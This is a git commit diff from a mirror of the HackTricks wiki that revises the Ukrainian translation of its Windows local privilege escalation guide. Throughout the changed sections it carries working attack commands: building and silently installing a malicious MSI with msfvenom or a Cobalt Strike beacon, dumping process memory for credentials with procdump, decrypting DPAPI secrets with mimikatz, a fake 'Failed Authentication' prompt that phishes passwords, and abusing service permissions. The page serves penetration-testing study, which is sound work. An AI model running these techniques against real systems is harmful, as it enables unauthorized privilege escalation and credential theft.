mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/windows-local-privilege-escalation/RE
This commit is contained in:
parent
1cf0f5d7f2
commit
f67a3e1d6a
@ -95,7 +95,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx
|
||||
cat (Get-PSReadlineOption).HistorySavePath
|
||||
cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
||||
```
|
||||
### Файли транскрипції PowerShell
|
||||
### PowerShell Transcript файли
|
||||
|
||||
Ви можете дізнатися, як це увімкнути в [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
|
||||
```bash
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудит кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
Повний запис активності та вмісту виконання скрипта фіксується, що забезпечує документування кожного блоку коду під час його виконання. Цей процес зберігає всебічний аудитний слід кожної активності, що є цінним для судової експертизи та аналізу злочинної поведінки. Документуючи всю активність під час виконання, надаються детальні відомості про процес.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -154,16 +154,29 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
|
||||
Ви можете скомпрометувати систему, якщо оновлення не запитуються за допомогою http**S**, а за допомогою http.
|
||||
|
||||
Ви починаєте з перевірки, чи використовує мережа оновлення WSUS без SSL, запустивши наступне:
|
||||
Ви починаєте з перевірки, чи використовує мережа оновлення WSUS без SSL, запустивши наступне в cmd:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
Якщо ви отримаєте відповідь, таку як:
|
||||
Або наступне в PowerShell:
|
||||
```
|
||||
Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer"
|
||||
```
|
||||
Якщо ви отримаєте відповідь, таку як одна з цих:
|
||||
```bash
|
||||
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
|
||||
WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
||||
```
|
||||
І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` дорівнює `1`.
|
||||
|
||||
```bash
|
||||
WUServer : http://xxxx-updxx.corp.internal.com:8530
|
||||
PSPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows\windowsupdate
|
||||
PSParentPath : Microsoft.PowerShell.Core\Registry::HKEY_LOCAL_MACHINE\software\policies\microsoft\windows
|
||||
PSChildName : windowsupdate
|
||||
PSDrive : HKLM
|
||||
PSProvider : Microsoft.PowerShell.Core\Registry
|
||||
```
|
||||
І якщо `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` або `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` дорівнює `1`.
|
||||
|
||||
Тоді, **це експлуатовано.** Якщо останній реєстр дорівнює 0, то запис WSUS буде проігноровано.
|
||||
|
||||
@ -184,11 +197,11 @@ CTX_WSUSpect_White_Paper (1).pdf
|
||||
>
|
||||
> Більше того, оскільки служба WSUS використовує налаштування поточного користувача, вона також використовуватиме його сховище сертифікатів. Якщо ми згенеруємо самопідписаний сертифікат для імені хоста WSUS і додамо цей сертифікат у сховище сертифікатів поточного користувача, ми зможемо перехоплювати як HTTP, так і HTTPS трафік WSUS. WSUS не використовує механізми, подібні до HSTS, для реалізації валідації типу trust-on-first-use на сертифікат. Якщо сертифікат, що подається, довіряється користувачем і має правильне ім'я хоста, він буде прийнятий службою.
|
||||
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (як тільки він буде звільнений).
|
||||
Ви можете експлуатувати цю вразливість, використовуючи інструмент [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (якщо він буде звільнений).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підпис LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
В **локальному підвищенні привілеїв** існує вразливість у Windows **доменних** середовищах за певних умов. Ці умови включають середовища, де **підписування LDAP не є обов'язковим,** користувачі мають самостійні права, що дозволяють їм налаштовувати **обмежену делегацію на основі ресурсів (RBCD),** та можливість для користувачів створювати комп'ютери в домені. Важливо зазначити, що ці **вимоги** виконуються за допомогою **налаштувань за замовчуванням**.
|
||||
|
||||
Знайдіть **експлойт у** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -210,11 +223,11 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
||||
|
||||
### PowerUP
|
||||
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарний файл для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
Використовуйте команду `Write-UserAddMSI` з power-up, щоб створити в поточному каталозі Windows MSI бінарник для ескалації привілеїв. Цей скрипт генерує попередньо скомпільований MSI інсталятор, який запитує додавання користувача/групи (тому вам знадобиться доступ GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
Просто виконайте створений бінар для підвищення привілеїв.
|
||||
Просто виконайте створений бінар для ескалації привілеїв.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
@ -224,16 +237,16 @@ Write-UserAddMSI
|
||||
msi-wrapper.md
|
||||
{{#endref}}
|
||||
|
||||
### Створення MSI з WIX
|
||||
### Create MSI with WIX
|
||||
|
||||
{{#ref}}
|
||||
create-msi-with-wix.md
|
||||
{{#endref}}
|
||||
|
||||
### Створення MSI з Visual Studio
|
||||
### Create MSI with Visual Studio
|
||||
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** у `C:\privesc\beacon.exe`
|
||||
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у поле пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
||||
- **Згенеруйте** з Cobalt Strike або Metasploit **новий Windows EXE TCP payload** в `C:\privesc\beacon.exe`
|
||||
- Відкрийте **Visual Studio**, виберіть **Створити новий проект** і введіть "installer" у полі пошуку. Виберіть проект **Setup Wizard** і натисніть **Далі**.
|
||||
- Дайте проекту ім'я, наприклад, **AlwaysPrivesc**, використовуйте **`C:\privesc`** для розташування, виберіть **розмістити рішення та проект в одній директорії**, і натисніть **Створити**.
|
||||
- Продовжуйте натискати **Далі**, поки не дійдете до кроку 3 з 4 (виберіть файли для включення). Натисніть **Додати** і виберіть payload Beacon, який ви щойно згенерували. Потім натисніть **Готово**.
|
||||
- Виділіть проект **AlwaysPrivesc** у **Solution Explorer** і в **Властивостях** змініть **TargetPlatform** з **x86** на **x64**.
|
||||
@ -245,9 +258,9 @@ create-msi-with-wix.md
|
||||
- Нарешті, **зберіть його**.
|
||||
- Якщо з'явиться попередження `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, переконайтеся, що ви встановили платформу на x64.
|
||||
|
||||
### Встановлення MSI
|
||||
### MSI Installation
|
||||
|
||||
Щоб виконати **встановлення** шкідливого файлу `.msi` у **фоновому режимі:**
|
||||
Щоб виконати **встановлення** шкідливого `.msi` файлу у **фоновому режимі:**
|
||||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
@ -269,7 +282,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
```
|
||||
### LAPS
|
||||
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні дозволи через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
**LAPS** призначений для **управління паролями локальних адміністраторів**, забезпечуючи, щоб кожен пароль був **унікальним, випадковим і регулярно оновлювався** на комп'ютерах, приєднаних до домену. Ці паролі надійно зберігаються в Active Directory і можуть бути доступні лише користувачам, яким надано достатні права через ACL, що дозволяє їм переглядати паролі локальних адміністраторів, якщо це дозволено.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -284,7 +297,7 @@ reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v U
|
||||
```
|
||||
### LSA Protection
|
||||
|
||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або інжектувати код, додатково захищаючи систему.\
|
||||
Починаючи з **Windows 8.1**, Microsoft впровадила покращений захист для Локального органу безпеки (LSA), щоб **блокувати** спроби ненадійних процесів **читати його пам'ять** або впроваджувати код, додатково захищаючи систему.\
|
||||
[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection).
|
||||
```bash
|
||||
reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
@ -306,7 +319,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Перерахунок Користувачів та Груп
|
||||
|
||||
Вам слід перевірити, чи є у будь-яких груп, до яких ви належите, цікаві дозволи.
|
||||
Вам слід перевірити, чи є у будь-яких груп, до яких ви належите, цікаві дозволи
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -360,8 +373,8 @@ powershell -command "Get-Clipboard"
|
||||
|
||||
### Дозволи на файли та папки
|
||||
|
||||
По-перше, перерахування процесів **перевіряє наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінарними файлами, щоб експлуатувати можливі [**DLL Hijacking атаки**](dll-hijacking/index.html):
|
||||
По-перше, при переліку процесів **перевірте наявність паролів у командному рядку процесу**.\
|
||||
Перевірте, чи можете ви **перезаписати деякий запущений бінар** або чи маєте ви права на запис у папку з бінаром для експлуатації можливих [**DLL Hijacking атак**](dll-hijacking/index.html):
|
||||
```bash
|
||||
Tasklist /SVC #List processes running and services
|
||||
tasklist /v /fi "username eq system" #Filter "system" processes
|
||||
@ -393,7 +406,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### Витягування паролів з пам'яті
|
||||
|
||||
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте зробити дамп пам'яті та прочитати облікові дані.
|
||||
Ви можете створити дамп пам'яті працюючого процесу, використовуючи **procdump** з sysinternals. Служби, такі як FTP, мають **облікові дані у відкритому тексті в пам'яті**, спробуйте витягнути пам'ять і прочитати облікові дані.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -418,7 +431,7 @@ Get-Service
|
||||
```bash
|
||||
sc qc <service_name>
|
||||
```
|
||||
Рекомендується мати бінарний **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
|
||||
Рекомендується мати бінарний файл **accesschk** від _Sysinternals_, щоб перевірити необхідний рівень привілеїв для кожної служби.
|
||||
```bash
|
||||
accesschk.exe -ucqv <Service_Name> #Check rights for different groups
|
||||
```
|
||||
@ -445,7 +458,7 @@ sc config SSDPSRV obj= ".\LocalSystem" password= ""
|
||||
```
|
||||
**Врахуйте, що служба upnphost залежить від SSDPSRV для роботи (для XP SP1)**
|
||||
|
||||
**Інший обхідний шлях** цієї проблеми - запустити:
|
||||
**Ще один обхідний шлях** цієї проблеми - виконати:
|
||||
```
|
||||
sc.exe config usosvc start= auto
|
||||
```
|
||||
@ -469,8 +482,8 @@ net stop [service name] && net start [service name]
|
||||
- **SERVICE_CHANGE_CONFIG**: Дозволяє переналаштування бінарного файлу служби.
|
||||
- **WRITE_DAC**: Дозволяє переналаштування дозволів, що веде до можливості змінювати конфігурації служби.
|
||||
- **WRITE_OWNER**: Дозволяє отримання прав власності та переналаштування дозволів.
|
||||
- **GENERIC_WRITE**: Спадковує можливість змінювати конфігурації служби.
|
||||
- **GENERIC_ALL**: Також спадковує можливість змінювати конфігурації служби.
|
||||
- **GENERIC_WRITE**: Спадкує можливість змінювати конфігурації служби.
|
||||
- **GENERIC_ALL**: Також спадкує можливість змінювати конфігурації служби.
|
||||
|
||||
Для виявлення та експлуатації цієї вразливості можна використовувати _exploit/windows/local/service_permissions_.
|
||||
|
||||
@ -489,7 +502,7 @@ sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
|
||||
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
|
||||
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt
|
||||
```
|
||||
### Служби реєстру змінити дозволи
|
||||
### Послуги реєстру змінити дозволи
|
||||
|
||||
Вам слід перевірити, чи можете ви змінити будь-який реєстр служби.\
|
||||
Ви можете **перевірити** свої **дозволи** над реєстром **служби**, виконавши:
|
||||
@ -557,7 +570,7 @@ Windows дозволяє користувачам вказувати дії, я
|
||||
|
||||
### Installed Applications
|
||||
|
||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і підвищити привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
Перевірте **дозволи бінарних файлів** (можливо, ви зможете переписати один і ескалувати привілеї) та **папок** ([DLL Hijacking](dll-hijacking/index.html)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -707,7 +720,7 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef
|
||||
|
||||
Сховище Windows зберігає облікові дані, за якими Windows може автоматично входити в систему, що означає, що будь-яка **Windows програма, яка потребує облікових даних для доступу до ресурсу** (сервера або веб-сайту) **може використовувати цей Менеджер облікових даних** та Сховище Windows і використовувати надані облікові дані замість того, щоб користувачі постійно вводили ім'я користувача та пароль.
|
||||
|
||||
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з за замовчуванням сховища.
|
||||
Якщо програми не взаємодіють з Менеджером облікових даних, я не думаю, що вони можуть використовувати облікові дані для даного ресурсу. Тож, якщо ваша програма хоче використовувати сховище, вона повинна якимось чином **взаємодіяти з менеджером облікових даних і запитувати облікові дані для цього ресурсу** з сховища за замовчуванням.
|
||||
|
||||
Використовуйте `cmdkey`, щоб перерахувати збережені облікові дані на машині.
|
||||
```bash
|
||||
@ -747,8 +760,8 @@ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифровки.\
|
||||
Ви можете **екстрактувати багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви root).
|
||||
Ви можете використовувати **mimikatz module** `dpapi::cred` з відповідним `/masterkey` для розшифрування.\
|
||||
Ви можете **екстрактувати багато DPAPI** **masterkeys** з **пам'яті** за допомогою модуля `sekurlsa::dpapi` (якщо ви є root).
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -898,7 +911,7 @@ else { Write "Not Installed." }
|
||||
```bash
|
||||
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there
|
||||
```
|
||||
### Putty SSH Host Keys
|
||||
### Ключі хостів Putty SSH
|
||||
```
|
||||
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\
|
||||
```
|
||||
@ -911,7 +924,7 @@ reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'
|
||||
Якщо ви знайдете будь-який запис у цьому шляху, це, ймовірно, буде збережений SSH-ключ. Він зберігається в зашифрованому вигляді, але може бути легко розшифрований за допомогою [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract).\
|
||||
Більше інформації про цю техніку тут: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
|
||||
|
||||
Якщо служба `ssh-agent` не працює, і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
|
||||
Якщо служба `ssh-agent` не працює і ви хочете, щоб вона автоматично запускалася при завантаженні, виконайте:
|
||||
```bash
|
||||
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
|
||||
```
|
||||
@ -1054,7 +1067,7 @@ Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAct
|
||||
```
|
||||
### Запит на облікові дані
|
||||
|
||||
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питання** клієнта безпосередньо про **облікові дані** є дійсно **ризикованим**):
|
||||
Ви завжди можете **попросити користувача ввести свої облікові дані або навіть облікові дані іншого користувача**, якщо вважаєте, що він може їх знати (зверніть увагу, що **питати** клієнта безпосередньо про **облікові дані** дійсно **ризиковано**):
|
||||
```bash
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
|
||||
@ -1137,13 +1150,13 @@ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd
|
||||
```
|
||||
Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}
|
||||
```
|
||||
### Credentials in the RecycleBin
|
||||
### Облікові дані в Кошику
|
||||
|
||||
Вам також слід перевірити Кошик на наявність облікових даних всередині нього
|
||||
|
||||
Щоб **відновити паролі**, збережені кількома програмами, ви можете використовувати: [http://www.nirsoft.net/password_recovery_tools.html](http://www.nirsoft.net/password_recovery_tools.html)
|
||||
|
||||
### Inside the registry
|
||||
### Всередині реєстру
|
||||
|
||||
**Інші можливі ключі реєстру з обліковими даними**
|
||||
```bash
|
||||
@ -1166,13 +1179,13 @@ reg query "HKCU\Software\OpenSSH\Agent\Key"
|
||||
- [**SharpChromium**](https://github.com/djhohnstein/SharpChromium)
|
||||
- [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI)
|
||||
|
||||
### **Перезапис DLL COM**
|
||||
### **Перезапис COM DLL**
|
||||
|
||||
**Компонентна об'єктна модель (COM)** - це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами різних мов. Кожен компонент COM **ідентифікується за допомогою ідентифікатора класу (CLSID)**, а кожен компонент надає функціональність через один або кілька інтерфейсів, які ідентифікуються за допомогою ідентифікаторів інтерфейсу (IIDs).
|
||||
**Component Object Model (COM)** - це технологія, вбудована в операційну систему Windows, яка дозволяє **взаємодію** між програмними компонентами різних мов. Кожен компонент COM **ідентифікується за допомогою ідентифікатора класу (CLSID)**, а кожен компонент надає функціональність через один або кілька інтерфейсів, які ідентифікуються за допомогою ідентифікаторів інтерфейсу (IIDs).
|
||||
|
||||
Класи та інтерфейси COM визначені в реєстрі під **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** та **HKEY\_**_**CLASSES\_**_**ROOT\Interface** відповідно. Цей реєстр створюється шляхом об'єднання **HKEY\_**_**LOCAL\_**_**MACHINE\Software\Classes** + **HKEY\_**_**CURRENT\_**_**USER\Software\Classes** = **HKEY\_**_**CLASSES\_**_**ROOT.**
|
||||
|
||||
Всередині CLSID цього реєстру ви можете знайти дочірній реєстр **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (однопотоковий), **Free** (багатопотоковий), **Both** (один або кілька) або **Neutral** (нейтральний до потоків).
|
||||
Всередині CLSID цього реєстру ви можете знайти дочірній реєстр **InProcServer32**, який містить **значення за замовчуванням**, що вказує на **DLL**, та значення під назвою **ThreadingModel**, яке може бути **Apartment** (однопотоковий), **Free** (багатопотоковий), **Both** (один або кілька) або **Neutral** (нейтральний потік).
|
||||
|
||||
.png>)
|
||||
|
||||
@ -1192,7 +1205,7 @@ cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
|
||||
findstr /si password *.xml *.ini *.txt *.config
|
||||
findstr /spin "password" *.*
|
||||
```
|
||||
**Шукати файл з певною назвою**
|
||||
**Шукати файл з певним ім'ям**
|
||||
```bash
|
||||
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
|
||||
where /R C:\ user.txt
|
||||
@ -1231,7 +1244,7 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
|
||||
|
||||
Windows надає функцію під назвою **Named Pipes**, що дозволяє несумісним процесам ділитися даними, навіть через різні мережі. Це нагадує архітектуру клієнт/сервер, з ролями, визначеними як **сервер іменованих трубопроводів** та **клієнт іменованих трубопроводів**.
|
||||
|
||||
Коли дані надсилаються через трубопровід **клієнтом**, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
Коли дані надсилаються через трубопровід клієнтом, **сервер**, який налаштував трубопровід, має можливість **прийняти особистість** **клієнта**, якщо у нього є необхідні **SeImpersonate** права. Визначення **привілейованого процесу**, який спілкується через трубопровід, особистість якого ви можете імітувати, надає можливість **отримати вищі привілеї**, прийнявши особистість цього процесу, як тільки він взаємодіє з трубопроводом, який ви створили. Для інструкцій щодо виконання такого нападу корисні посібники можна знайти [**here**](named-pipe-client-impersonation.md) та [**here**](#from-high-integrity-to-system).
|
||||
|
||||
Також наступний інструмент дозволяє **перехоплювати комунікацію іменованого трубопроводу за допомогою інструменту, такого як burp:** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **і цей інструмент дозволяє перерахувати та переглянути всі трубопроводи для пошуку privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
|
||||
|
||||
@ -1301,7 +1314,7 @@ Windows 10 1709 16299 link NOT opened
|
||||
|
||||
https://github.com/jas502n/CVE-2019-1388
|
||||
|
||||
## Від середнього рівня адміністратора до високого рівня цілісності / обхід UAC
|
||||
## Від середнього до високого рівня цілісності адміністратора / обхід UAC
|
||||
|
||||
Прочитайте це, щоб **дізнатися про рівні цілісності**:
|
||||
|
||||
@ -1326,8 +1339,8 @@ sc start newservicename
|
||||
```
|
||||
### AlwaysInstallElevated
|
||||
|
||||
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи обгортку _**.msi**_.\
|
||||
[Більше інформації про залучені ключі реєстру та як встановити пакет _.msi_ тут.](#alwaysinstallelevated)
|
||||
З процесу з високою цілісністю ви можете спробувати **увімкнути записи реєстру AlwaysInstallElevated** та **встановити** зворотний шелл, використовуючи _**.msi**_ обгортку.\
|
||||
[Більше інформації про залучені ключі реєстру та як встановити _.msi_ пакет тут.](#alwaysinstallelevated)
|
||||
|
||||
### High + SeImpersonate privilege to System
|
||||
|
||||
@ -1341,7 +1354,7 @@ sc start newservicename
|
||||
|
||||
### **Named Pipes**
|
||||
|
||||
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Потім **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служба), отримуючи привілеї SYSTEM.\
|
||||
Цю техніку використовує meterpreter для ескалації в `getsystem`. Техніка полягає в **створенні каналу, а потім створенні/зловживанні службою для запису в цей канал**. Потім **сервер**, який створив канал, використовуючи привілей **`SeImpersonate`**, зможе **імпсонувати токен** клієнта каналу (служби), отримуючи привілеї SYSTEM.\
|
||||
Якщо ви хочете [**дізнатися більше про іменовані канали, вам слід прочитати це**](#named-pipe-client-impersonation).\
|
||||
Якщо ви хочете прочитати приклад [**як перейти з високої цілісності до System, використовуючи іменовані канали, вам слід прочитати це**](from-high-integrity-to-system-with-name-pipes.md).
|
||||
|
||||
@ -1385,7 +1398,7 @@ https://github.com/sailay1996/RpcSsImpersonator
|
||||
**Exe**
|
||||
|
||||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Пошук відомих вразливостей привілеїв (потрібно скомпілювати за допомогою VisualStudio) ([**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перераховує хост, шукаючи неправильні налаштування (більше інструмент для збору інформації, ніж для привілеїв) (потрібно скомпілювати) **(**[**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Перераховує хост, шукаючи неправильні налаштування (більше інструмент для збору інформації, ніж для ескалації привілеїв) (потрібно скомпілювати) **(**[**попередньо скомпільований**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Витягує облікові дані з багатьох програм (попередньо скомпільований exe в github)**\
|
||||
[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Порт PowerUp на C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Перевірка на неправильні налаштування (виконуваний файл попередньо скомпільований в github). Не рекомендується. Погано працює в Win10.\
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user